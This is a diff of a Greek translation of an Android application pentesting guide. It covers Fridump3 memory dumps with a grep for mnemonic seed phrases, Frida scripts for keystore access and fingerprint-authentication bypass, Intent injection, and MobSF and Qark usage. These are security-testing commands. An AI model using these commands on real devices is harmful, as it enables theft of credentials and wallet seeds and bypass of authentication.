|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Εξαγωγή μνήμης - Fridump
|
### **Dump Memory - Fridump**
|
||||||
|
|
||||||
Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες στη μνήμη που δεν θα έπρεπε να αποθηκεύει, όπως κωδικούς πρόσβασης ή mnemonics.
|
Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες στη μνήμη που δεν θα έπρεπε, όπως passwords ή mnemonics.
|
||||||
|
|
||||||
Χρησιμοποιώντας [**Fridump3**](https://github.com/rootbsd/fridump3) μπορείτε να εξάγετε τη μνήμη της εφαρμογής με:
|
Χρησιμοποιώντας [**Fridump3**](https://github.com/rootbsd/fridump3) μπορείτε να κάνετε dump τη μνήμη της εφαρμογής με:
|
||||||
```bash
|
```bash
|
||||||
# With PID
|
# With PID
|
||||||
python3 fridump3.py -u <PID>
|
python3 fridump3.py -u <PID>
|
||||||
@ -528,15 +528,17 @@ python3 fridump3.py -u <PID>
|
|||||||
frida-ps -Uai
|
frida-ps -Uai
|
||||||
python3 fridump3.py -u "<Name>"
|
python3 fridump3.py -u "<Name>"
|
||||||
```
|
```
|
||||||
Αυτό θα dump τη μνήμη στον φάκελο ./dump, και εκεί μπορείτε να κάνετε grep με κάτι σαν:
|
Αυτό θα κάνει dump τη μνήμη στον φάκελο ./dump, και εκεί μπορείτε να κάνετε grep με κάτι σαν:
|
||||||
```bash
|
```bash
|
||||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||||
```
|
```
|
||||||
### **Sensitive data in Keystore**
|
### **Ευαίσθητα δεδομένα στο Keystore**
|
||||||
|
|
||||||
Στο Android το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο με επαρκή προνόμια εξακολουθεί να είναι **δυνατό να αποκτηθεί πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε απλό κείμενο**, οι pentests πρέπει να το ελέγξουν, καθώς ένας root user ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να κλέψει αυτά τα δεδομένα.
|
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με επαρκή προνόμια εξακολουθεί να είναι **δυνατό να αποκτηθεί πρόσβαση σε αυτό**.
|
||||||
|
|
||||||
Ακόμη κι αν μια εφαρμογή αποθήκευσε δεδομένα στο keystore, τα δεδομένα θα πρέπει να είναι κρυπτογραφημένα.
|
Δεδομένου ότι οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε απλό κείμενο**, τα pentests πρέπει να το ελέγχουν ως root χρήστης, διότι κάποιος με φυσική πρόσβαση στη συσκευή μπορεί να καταφέρει να κλέψει αυτά τα δεδομένα.
|
||||||
|
|
||||||
|
Ακόμα κι αν μια εφαρμογή αποθήκευσε δεδομένα στο keystore, αυτά θα πρέπει να είναι κρυπτογραφημένα.
|
||||||
|
|
||||||
Για να αποκτήσετε πρόσβαση στα δεδομένα μέσα στο keystore μπορείτε να χρησιμοποιήσετε αυτό το Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
Για να αποκτήσετε πρόσβαση στα δεδομένα μέσα στο keystore μπορείτε να χρησιμοποιήσετε αυτό το Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||||
```bash
|
```bash
|
||||||
@ -544,47 +546,47 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
|||||||
```
|
```
|
||||||
### **Fingerprint/Biometrics Bypass**
|
### **Fingerprint/Biometrics Bypass**
|
||||||
|
|
||||||
Χρησιμοποιώντας το παρακάτω Frida script, είναι πιθανό να γίνει **bypass fingerprint authentication** που ενδέχεται να εφαρμόζουν εφαρμογές Android για να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
|
Χρησιμοποιώντας το παρακάτω Frida script, ενδέχεται να είναι δυνατό να **bypass fingerprint authentication** που πιθανώς εφαρμόζουν οι Android εφαρμογές για να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
|
||||||
```bash
|
```bash
|
||||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||||
```
|
```
|
||||||
### **Εικόνες φόντου**
|
### **Εικόνες φόντου**
|
||||||
|
|
||||||
Όταν βάζεις μια εφαρμογή στο παρασκήνιο, το Android αποθηκεύει ένα **στιγμιότυπο της εφαρμογής** ώστε όταν επανέλθει στο προσκήνιο να ξεκινήσει φορτώνοντας την εικόνα πριν από την εφαρμογή, ώστε να φαίνεται ότι η εφαρμογή φόρτωσε πιο γρήγορα.
|
Όταν τοποθετείτε μια εφαρμογή στο παρασκήνιο, το Android αποθηκεύει ένα **στιγμιότυπο της εφαρμογής** ώστε όταν επανέλθει στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν από την εφαρμογή, ώστε να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
|
||||||
|
|
||||||
Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημείωση: χρειάζεστε root για να αποκτήσετε πρόσβαση).
|
Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημείωση: χρειάζεστε root για να έχετε πρόσβαση).
|
||||||
|
|
||||||
Τα στιγμιότυπα συνήθως αποθηκεύονται εδώ: **`/data/system_ce/0/snapshots`**
|
Τα στιγμιότυπα συνήθως αποθηκεύονται στο: **`/data/system_ce/0/snapshots`**
|
||||||
|
|
||||||
Το Android παρέχει έναν τρόπο για να **αποτραπεί η λήψη screenshot ρυθμίζοντας την παράμετρο layout FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, τα περιεχόμενα του παραθύρου θεωρούνται ασφαλή, αποτρέποντας την εμφάνισή τους σε screenshots ή την προβολή τους σε μη ασφαλείς οθόνες.
|
Το Android παρέχει έναν τρόπο για **να αποτρέψει τη λήψη στιγμιότυπων οθόνης ρυθμίζοντας το layout parameter FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνισή του σε στιγμιότυπα οθόνης ή την προβολή του σε μη ασφαλείς οθόνες.
|
||||||
```bash
|
```bash
|
||||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||||
```
|
```
|
||||||
### **Android Application Analyzer**
|
### **Android Application Analyzer**
|
||||||
|
|
||||||
Αυτό το εργαλείο μπορεί να σας βοηθήσει στη διαχείριση διαφόρων εργαλείων κατά τη δυναμική ανάλυση: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
Αυτό το εργαλείο μπορεί να σας βοηθήσει να διαχειριστείτε διαφορετικά εργαλεία κατά τη dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||||
|
|
||||||
### Intent Injection
|
### Intent Injection
|
||||||
|
|
||||||
Οι developers συχνά δημιουργούν proxy components όπως activities, services, και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, κάτι που μπορεί να είναι επικίνδυνο.
|
Οι developers συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, κάτι που μπορεί να είναι επικίνδυνο.
|
||||||
|
|
||||||
Ο κίνδυνος έγκειται στην δυνατότητα οι attackers να ενεργοποιήσουν μη-εξαγόμενα components της εφαρμογής ή να αποκτήσουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα χαρακτηριστικό παράδειγμα είναι το `WebView` component που μετατρέπει URLs σε `Intent` objects μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες Intent injections.
|
Ο κίνδυνος έγκειται στο να επιτρέπονται σε επιτιθέμενους να ενεργοποιούν non-exported app components ή να αποκτούν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το `WebView` component που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε malicious Intent injections.
|
||||||
|
|
||||||
### Essential Takeaways
|
### Essential Takeaways
|
||||||
|
|
||||||
- **Intent Injection** is similar to web's Open Redirect issue.
|
- **Intent Injection** είναι παρόμοιο με το web Open Redirect issue.
|
||||||
- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations.
|
- Exploits περιλαμβάνουν το πέρασμα αντικειμένων `Intent` ως extras, τα οποία μπορούν να ανακατευθυνθούν για να εκτελέσουν μη ασφαλείς ενέργειες.
|
||||||
- It can expose non-exported components and content providers to attackers.
|
- Μπορεί να εκθέσει non-exported components και content providers σε επιτιθέμενους.
|
||||||
- `WebView`’s URL to `Intent` conversion can facilitate unintended actions.
|
- Η μετατροπή URL σε `Intent` από το `WebView` μπορεί να διευκολύνει ανεπιθύμητες ενέργειες.
|
||||||
|
|
||||||
### Android Client Side Injections and others
|
### Android Client Side Injections and others
|
||||||
|
|
||||||
Πιθανώς να γνωρίζετε αυτό το είδος ευπαθειών από το Web. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια Android εφαρμογή:
|
Πιθανώς γνωρίζετε αυτού του είδους τις ευπάθειες από το Web. Πρέπει να είστε ιδιαιτέρως προσεκτικοί με αυτές τις ευπάθειες σε μια Android εφαρμογή:
|
||||||
|
|
||||||
- **SQL Injection:** Όταν χειρίζεστε δυναμικά queries ή Content-Providers βεβαιωθείτε ότι χρησιμοποιείτε parameterized queries.
|
- **SQL Injection:** Όταν χειρίζεστε dynamic queries ή Content-Providers βεβαιωθείτε ότι χρησιμοποιείτε parameterized queries.
|
||||||
- **JavaScript Injection (XSS):** Ελέγξτε ότι το JavaScript και το Plugin support είναι απενεργοποιημένα για οποιαδήποτε WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
|
- **JavaScript Injection (XSS):** Επιβεβαιώστε ότι το JavaScript και το Plugin support είναι απενεργοποιημένα για οποιαδήποτε WebViews (απενεργοποιημένα από προεπιλογή). [More info here](webview-attacks.md#javascript-enabled).
|
||||||
- **Local File Inclusion:** Τα WebViews θα πρέπει να έχουν απενεργοποιημένη την πρόσβαση στο file system (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
- **Local File Inclusion:** Οι WebViews θα πρέπει να έχουν την πρόσβαση στο file system απενεργοποιημένη (ενεργοποιημένη από προεπιλογή) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||||
- **Eternal cookies**: Σε αρκετές περιπτώσεις όταν η android εφαρμογή τερματίζει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμα και να αποθηκευτεί στο δίσκο.
|
- **Eternal cookies**: Σε αρκετές περιπτώσεις όταν η android εφαρμογή τελειώνει το session, το cookie δεν ανακαλείται ή μπορεί ακόμη και να αποθηκευτεί στο δίσκο
|
||||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||||
|
|
||||||
---
|
---
|
||||||
@ -597,51 +599,51 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
**Vulnerability assessment of the application** χρησιμοποιώντας ένα ευχάριστο web-based frontend. Μπορείτε επίσης να εκτελέσετε dynamic analysis (αλλά χρειάζεται να προετοιμάσετε το περιβάλλον).
|
Αξιολόγηση ευπαθειών της εφαρμογής χρησιμοποιώντας ένα όμορφο web-based frontend. Μπορείτε επίσης να πραγματοποιήσετε dynamic analysis (αλλά πρέπει να προετοιμάσετε το περιβάλλον).
|
||||||
```bash
|
```bash
|
||||||
docker pull opensecurity/mobile-security-framework-mobsf
|
docker pull opensecurity/mobile-security-framework-mobsf
|
||||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||||
```
|
```
|
||||||
Σημειώστε ότι το MobSF μπορεί να αναλύσει εφαρμογές **Android**(apk), **IOS**(ipa) και **Windows**(apx) (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
Σημειώστε ότι το MobSF μπορεί να αναλύσει **Android**(apk), **IOS**(ipa) και **Windows**(apx) εφαρμογές (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||||
Επιπλέον, αν δημιουργήσετε ένα αρχείο **ZIP** με τον πηγαίο κώδικα μιας εφαρμογής **Android** ή **IOS** (μεταβείτε στον root φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIPfile), το MobSF θα μπορέσει επίσης να το αναλύσει.
|
Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον source code μιας **Android** ή μιας **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), θα μπορεί να το αναλύσει κι αυτό.
|
||||||
|
|
||||||
Το MobSF σας επιτρέπει επίσης να κάνετε **diff/Compare** αναλύσεων και να ενσωματώσετε το **VirusTotal** (θα χρειαστεί να ορίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ορίσετε το `VT_UPLOAD` σε `False`, οπότε το **hash** θα είναι **upload** αντί για το αρχείο.
|
MobSF επίσης επιτρέπει να κάνετε **diff/Compare** analysis και να ενσωματώσετε το **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να θέσετε `VT_UPLOAD` σε `False`, τότε το **hash** θα γίνει **upload** αντί του αρχείου.
|
||||||
|
|
||||||
### Βοηθημένη Δυναμική ανάλυση με MobSF
|
### Βοηθούμενη Dynamic analysis με MobSF
|
||||||
|
|
||||||
Το **MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **dynamic analysis** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον host σας (ένα VM ή Docker δεν θα λειτουργήσει). _Σημείωση: Πρέπει να **start first a VM in genymotion** και **then MobSF.**_\
|
**MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **dynamic analysis** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον host σας (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||||
Ο **MobSF dynamic analyser** μπορεί:
|
Ο **MobSF dynamic analyser** μπορεί να:
|
||||||
|
|
||||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots — πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να λάβετε screenshots όλων των exported activities.
|
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots — πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να λάβετε screenshots όλων των exported activities.
|
||||||
- **Capture HTTPS traffic**
|
- Capture **HTTPS traffic**
|
||||||
- Use **Frida** to obtain **runtime** **information**
|
- Use **Frida** to obtain **runtime** **information**
|
||||||
|
|
||||||
Από android **versions > 5**, θα **automatically start Frida** και θα ορίσει τις παγκόσμιες ρυθμίσεις **proxy** για να καταγράψει την κίνηση. Θα καταγράφει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται.
|
Από Android **versions > 5**, θα **ξεκινήσει αυτόματα Frida** και θα ορίσει global **proxy** settings για να **capture** το traffic. Θα καταγράφει μόνο το traffic από την εφαρμογή υπό δοκιμή.
|
||||||
|
|
||||||
**Frida**
|
**Frida**
|
||||||
|
|
||||||
Κατά προεπιλογή, θα χρησιμοποιήσει επίσης ορισμένα Frida Scripts για να **bypass SSL pinning**, **root detection** και **debugger detection** και για να **monitor interesting APIs**.\
|
Εξ ορισμού, θα χρησιμοποιήσει επίσης μερικά Frida Scripts για να **bypass SSL pinning**, **root detection** και **debugger detection** και για να **monitor interesting APIs**.\
|
||||||
Το MobSF μπορεί επίσης να **invoke exported activities**, να τραβήξει **screenshots** τους και να τα **save** για την αναφορά.
|
Το MobSF μπορεί επίσης να **invoke exported activities**, να τραβήξει **screenshots** από αυτές και να τα **save** για την αναφορά.
|
||||||
|
|
||||||
Για να **start** το dynamic testing πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε τα "**Frida Live Logs**" για να δείτε τα logs που παράγονται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε hooked methods, τα arguments που περνάνε και τις τιμές που επιστρέφονται (αυτό θα εμφανιστεί μετά το πάτημα του "Start Instrumentation").\
|
Για να **start** το dynamic testing πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε τα "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις invocation σε hooked methods, τα arguments που περνάνε και τις τιμές που επιστρέφονται (this will appear after pressing "Start Instrumentation").\
|
||||||
Το MobSF επίσης σας επιτρέπει να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts στο MobSF χρησιμοποιήστε τη συνάρτηση `send()`). Έχει επίσης **several pre-written scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλώς **select them**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στα "**Frida Live Logs**").
|
Το MobSF επίσης επιτρέπει να φορτώσετε τα δικά σας **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). Έχει επίσης **several pre-written scripts** που μπορείτε να φορτώσετε (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλώς **select them**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στα "**Frida Live Logs**").
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Επιπλέον, έχετε μερικές βοηθητικές λειτουργίες του Frida:
|
Επιπλέον, υπάρχουν μερικές βοηθητικές λειτουργίες Frida:
|
||||||
|
|
||||||
- **Enumerate Loaded Classes**: Εκτυπώνει όλες τις φορτωμένες κλάσεις
|
- **Enumerate Loaded Classes**: Εκτυπώνει όλες τις loaded classes
|
||||||
- **Capture Strings**: Εκτυπώνει όλα τα capture strings κατά τη χρήση της εφαρμογής (πάρα πολύ noisy)
|
- **Capture Strings**: Εκτυπώνει όλα τα captured strings κατά τη χρήση της εφαρμογής (super noisy)
|
||||||
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **show the 2 strings being compared** και αν το αποτέλεσμα ήταν True ή False.
|
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τα 2 strings που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False.
|
||||||
- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης.
|
- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης.
|
||||||
- **Search Class Pattern**: Αναζήτηση κλάσεων με μοτίβο
|
- **Search Class Pattern**: Ψάχνει classes by pattern
|
||||||
- **Trace Class Methods**: **Trace** ολόκληρη μια **class** (δείτε inputs και outputs όλων των μεθόδων της κλάσης). Θυμηθείτε ότι κατά προεπιλογή το MobSF κάνει trace αρκετές ενδιαφέρουσες Android Api μεθόδους.
|
- **Trace Class Methods**: **Trace** ολόκληρη μια **class** (βλέπει inputs και outputs όλων των μεθόδων της κλάσης). Θυμηθείτε ότι εξ ορισμού το MobSF traces αρκετές ενδιαφέρουσες Android Api methods.
|
||||||
|
|
||||||
Μόλις επιλέξετε το auxiliary module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλα τα outputs στα "**Frida Live Logs**".
|
Μόλις επιλέξετε το auxiliary module που θέλετε να χρησιμοποιήσετε πρέπει να πατήσετε "**Start Instrumentation**" και θα δείτε όλα τα outputs στα "**Frida Live Logs**".
|
||||||
|
|
||||||
**Shell**
|
**Shell**
|
||||||
|
|
||||||
Το MobSF επίσης παρέχει ένα shell με μερικές εντολές **adb**, **MobSF commands**, και κοινές εντολές **shell** στο κάτω μέρος της σελίδας dynamic analysis. Μερικές ενδιαφέρουσες εντολές:
|
Mobsf παρέχει επίσης ένα shell με μερικές εντολές **adb**, **MobSF commands**, και κοινές **shell** **commands** στο κάτω μέρος της σελίδας dynamic analysis. Κάποιες ενδιαφέρουσες εντολές:
|
||||||
```bash
|
```bash
|
||||||
help
|
help
|
||||||
shell ls
|
shell ls
|
||||||
@ -652,13 +654,13 @@ receivers
|
|||||||
```
|
```
|
||||||
**HTTP tools**
|
**HTTP tools**
|
||||||
|
|
||||||
Όταν η HTTP κίνηση καταγράφεται μπορείς να δεις μια άσχημη προβολή της καταγεγραμμένης κίνησης στο κάτω μέρος "**HTTP(S) Traffic**" ή μια πιο καθαρή προβολή στο πράσινο κουμπί "**Start HTTPTools**". Από τη δεύτερη επιλογή, μπορείς να **send** τα **captured requests** σε **proxies** όπως Burp ή Owasp ZAP.\
|
Όταν το http traffic καταγράφεται μπορείτε να δείτε μια άσχημη προβολή του καταγεγραμμένου traffic στο "**HTTP(S) Traffic**" κουμπί ή μια πιο όμορφη προβολή στο πράσινο κουμπί "**Start HTTPTools**". Από τη δεύτερη επιλογή, μπορείτε να **send** τα **captured requests** σε **proxies** όπως Burp ή Owasp ZAP.\
|
||||||
Για να το κάνεις, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> πάτησε "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
Για να το κάνετε, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> πατήστε "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||||
|
|
||||||
Μόλις τελειώσεις το dynamic analysis με MobSF μπορείς να πατήσεις "**Start Web API Fuzzer**" για να **fuzz http requests** και να ψάξεις για ευπάθειες.
|
Μόλις τελειώσετε την dynamic analysis με MobSF μπορείτε να πατήσετε "**Start Web API Fuzzer**" για να **fuzz http requests** και να αναζητήσετε ευπάθειες.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Μετά από ένα dynamic analysis με MobSF οι proxy settings μπορεί να είναι λανθασμένες και να μην μπορείς να τα διορθώσεις από το GUI. Μπορείς να διορθώσεις τα proxy settings εκτελώντας:
|
> Μετά την εκτέλεση μιας dynamic analysis με MobSF, οι ρυθμίσεις proxy ενδέχεται να είναι misconfigured και να μην μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις proxy κάνοντας:
|
||||||
>
|
>
|
||||||
> ```
|
> ```
|
||||||
> adb shell settings put global http_proxy :0
|
> adb shell settings put global http_proxy :0
|
||||||
@ -666,8 +668,8 @@ receivers
|
|||||||
|
|
||||||
### Assisted Dynamic Analysis with Inspeckage
|
### Assisted Dynamic Analysis with Inspeckage
|
||||||
|
|
||||||
Μπορείς να πάρεις το εργαλείο από [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
Μπορείτε να λάβετε το εργαλείο από [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||||
Αυτό το εργαλείο θα χρησιμοποιήσει μερικά **Hooks** για να σε ενημερώνει **what is happening in the application** ενώ πραγματοποιείς ένα **dynamic analysis**.
|
Αυτό το εργαλείο θα χρησιμοποιήσει μερικά **Hooks** για να σας δείξει **what is happening in the application** ενώ εκτελείτε **dynamic analysis**.
|
||||||
|
|
||||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||||
|
|
||||||
@ -677,7 +679,7 @@ receivers
|
|||||||
|
|
||||||
### [Qark](https://github.com/linkedin/qark)
|
### [Qark](https://github.com/linkedin/qark)
|
||||||
|
|
||||||
Αυτό το εργαλείο έχει σχεδιαστεί για να εντοπίζει διάφορες **security related Android application vulnerabilities**, είτε σε **source code** είτε σε **packaged APKs**. Το εργαλείο είναι επίσης **capable of creating a "Proof-of-Concept" deployable APK** και **ADB commands**, για να εκμεταλλευτεί μερικές από τις εντοπισμένες ευπάθειες (Exposed activities, intents, tapjacking...). Όπως και με Drozer, δεν υπάρχει ανάγκη για root στη συσκευή δοκιμής.
|
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά διάφορες **security related Android application vulnerabilities**, είτε σε **source code** είτε σε **packaged APKs**. Το εργαλείο είναι επίσης **capable of creating a "Proof-of-Concept" deployable APK** και **ADB commands**, για να εκμεταλλευτεί κάποιες από τις βρεθείσες ευπάθειες (Exposed activities, intents, tapjacking...). Όπως και με Drozer, δεν απαιτείται root στη συσκευή δοκιμής.
|
||||||
```bash
|
```bash
|
||||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||||
qark --apk path/to/my.apk
|
qark --apk path/to/my.apk
|
||||||
@ -686,20 +688,20 @@ qark --java path/to/specific/java/file.java
|
|||||||
```
|
```
|
||||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||||
|
|
||||||
- Εμφανίζει όλα τα εξαγόμενα αρχεία για εύκολη αναφορά
|
- Εμφανίζει όλα τα αρχεία που εξάχθηκαν για εύκολη αναφορά
|
||||||
- Απομεταγλωττίζει αυτόματα τα αρχεία APK σε μορφή Java και Smali
|
- Αυτόματη decompile των αρχείων APK σε μορφή Java και Smali
|
||||||
- Αναλύει το AndroidManifest.xml για κοινές ευπάθειες και συμπεριφορές
|
- Αναλύει το AndroidManifest.xml για κοινές ευπάθειες και συμπεριφορά
|
||||||
- Στατική ανάλυση πηγαίου κώδικα για κοινές ευπάθειες και συμπεριφορές
|
- Στατική ανάλυση του source code για κοινές ευπάθειες και συμπεριφορά
|
||||||
- Πληροφορίες συσκευής
|
- Στοιχεία συσκευής
|
||||||
- και άλλα
|
- και περισσότερα
|
||||||
```bash
|
```bash
|
||||||
reverse-apk relative/path/to/APP.apk
|
reverse-apk relative/path/to/APP.apk
|
||||||
```
|
```
|
||||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||||
|
|
||||||
Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει _.apk_ αρχεία αναζητώντας ευπάθειες. Αυτό γίνεται αποσυμπιέζοντας τα APKs και εφαρμόζοντας μια σειρά κανόνων για να εντοπιστούν αυτές οι ευπάθειες.
|
Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APKs και εφαρμόζοντας μια σειρά κανόνων για να εντοπίσει αυτές τις ευπάθειες.
|
||||||
|
|
||||||
Όλοι οι κανόνες είναι συγκεντρωμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή tester μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
|
